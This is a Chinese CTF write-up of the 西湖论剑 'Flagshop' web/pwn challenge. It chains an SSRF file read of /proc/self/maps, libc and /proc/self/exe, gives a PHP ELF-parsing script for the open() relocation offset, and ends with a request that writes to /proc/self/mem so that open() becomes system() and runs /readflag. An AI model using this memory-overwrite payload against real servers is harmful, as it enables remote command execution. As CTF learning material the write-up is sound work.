西湖论剑 Flagshop 分析复现
创始人
2024-03-26 12:06:57
0

前言

  • 比赛时候没能做出来,其实这道题就是一道pwn题。后面与p w n师傅讨论分析EXP分析还原了解题过程。学到了很多,也希望分享给大家。

任意文件读取

  • 抓包或者看源码就会发现有一个SSRF,但是没有权限读flag,测试发现存在一个readflag的elf文件。

 

  • 读取题目全部源码:

backend.php


index.php

文件写入

  • 从源码可以知道,这里是存在一个文件写入的问题,但是测试和对copy这个elf文件反编译发现,网站根目录是没有写入权限的。但是测试发现tmp目录是可写的。

  • 做到这里基本没思路了。后面看了下Nul1的wp,发现这就是这道pwn题改的。(https://www.pianshen.com/article/4537767804/)

内存泄露和动态链接库

/proc/self/maps

包含了当前进程映射的内存区域以及他们的访问权限.文件格式如下:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
08056000-08058000 rw-p 0000d000 03:0c 64593   /usr/sbin/gpm
08058000-0805b000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 03:0c 4165    /lib/ld-2.2.4.so
40013000-40015000 rw-p 00012000 03:0c 4165    /lib/ld-2.2.4.so
4001f000-40135000 r-xp 00000000 03:0c 45494   /lib/libc-2.2.4.so
40135000-4013e000 rw-p 00115000 03:0c 45494   /lib/libc-2.2.4.so
4013e000-40142000 rw-p 00000000 00:00 0
bffff000-c0000000 rwxp 00000000 00:00 0
  • 通过SSRF漏洞直接读取/proc/self/maps来泄露当前程序调用的到动态链接库和内存地址。

 

  • 直接把/lib/x86_64-linux-gnu/libc-2.19.so通过SSRF读取然后下载下来,通过readelf来查看system的地址。可以得知system函数的偏移是:0x0000000000046590

 

  • 我们将动态链接库的地址加上system的偏移就能计算出system函数的地址。


计算偏移

  • 我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,这样我们将readflag的结果输出到文件,或者反弹shell。这样我们下一步就是要计算open函数在二进制文件中的实际偏移,最后直接修改内存。

  • 这里需要用到/proc/self/exe

在Linux2.2的内核及其之后,/proc/pid/exe是直接执行的二进制文件的符号链接.这个符号链接能够被取消.尝试打开这个文件就相当与打开了二进制文件,甚至可以通过重新输入/proc/pid/exe重新运行一个对应于pid的二进制文件.在一个多线程的程序中,如果主线程已经退出了,就无法访问这个符号链接.

在Linux2.0及其之前,/proc/pid/exe是指向当前进程执行的二进制文件.

  • 同样我们之间将其搞下来,用下面脚本来计算open函数的偏移。

> 32;$lower = $value & 0x00000000ffffffff;return pack('V2', $lower, $higher);
}function unp($value) {return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {$bin = file_get_contents($bin_ver);$e_shoff = unp(substr($bin, 0x28, 8));$e_shentsize = unp(substr($bin, 0x3a, 2));$e_shnum = unp(substr($bin, 0x3c, 2));$e_shstrndx = unp(substr($bin, 0x3e, 2));for($i = 0; $i < $e_shnum; $i += 1) {$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));}elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));}elseif($rela && $sh_type == 4) { // SHT_RELA$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));}}if($rela) {for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {$r_offset = unp(substr($bin, $i, 8));$r_info = unp(substr($bin, $i + 8, 8)) >> 32;$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));$name = '';$j = $strtab_off + $name_off - 1;while($bin[++$j] != "\0") {$name .= $bin[$j];}if($name == 'open') {return $r_offset;}}}else {for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {$name_off = unp(substr($bin, $i, 4));$name = '';$j = $strtab_off + $name_off - 1;while($bin[++$j] != "\0") {$name .= $bin[$j];}if($name == '__libc_system') {$system_offset = unp(substr($bin, $i + 8, 8));}if($name == '__open') {$open_offset = unp(substr($bin, $i + 8, 8));}}return array($system_offset, $open_offset);}
}
$open_php = parseelf('exe', true);
//$maps = file_get_contents('lib.txt');
//$pie_base =(hexdec(explode('-', $maps)[0]));
echo $open_php;
//结果:15333784
?>

修改进程内存

/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

  • 也就是说我们刚才从maps和动态链接库计算出system的地址需要修改mem来使得open的地址变成system的地址。既然我们偏移地址和文件偏移都算出来了直接构造payload即可。

backend.php?readfile=/readflag>/tmp/i_o_u_hlq&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784
  • 直接读取/tmp/i_o_u_hlq就可以直接getflag

 

参考

  • Nu1L 西湖论剑wp

  • https://blog.spoock.com/2019/10/08/proc/

  • https://www.pianshen.com/article/4537767804/

相关实验

  • PWN综合练习(三)

  • https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111814141500001

  • CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。

相关内容

热门资讯

AWSECS:访问外部网络时出... 如果您在AWS ECS中部署了应用程序,并且该应用程序需要访问外部网络,但是无法正常访问,可能是因为...
银河麒麟V10SP1高级服务器... 银河麒麟高级服务器操作系统简介: 银河麒麟高级服务器操作系统V10是针对企业级关键业务...
【NI Multisim 14...   目录 序言 一、工具栏 🍊1.“标准”工具栏 🍊 2.视图工具...
不能访问光猫的的管理页面 光猫是现代家庭宽带网络的重要组成部分,它可以提供高速稳定的网络连接。但是,有时候我们会遇到不能访问光...
AWSElasticBeans... 在Dockerfile中手动配置nginx反向代理。例如,在Dockerfile中添加以下代码:FR...
Android|无法访问或保存... 这个问题可能是由于权限设置不正确导致的。您需要在应用程序清单文件中添加以下代码来请求适当的权限:此外...
月入8000+的steam搬砖... 大家好,我是阿阳 今天要给大家介绍的是 steam 游戏搬砖项目,目前...
​ToDesk 远程工具安装及... 目录 前言 ToDesk 优势 ToDesk 下载安装 ToDesk 功能展示 文件传输 设备链接 ...
北信源内网安全管理卸载 北信源内网安全管理是一款网络安全管理软件,主要用于保护内网安全。在日常使用过程中,卸载该软件是一种常...
AWS管理控制台菜单和权限 要在AWS管理控制台中创建菜单和权限,您可以使用AWS Identity and Access Ma...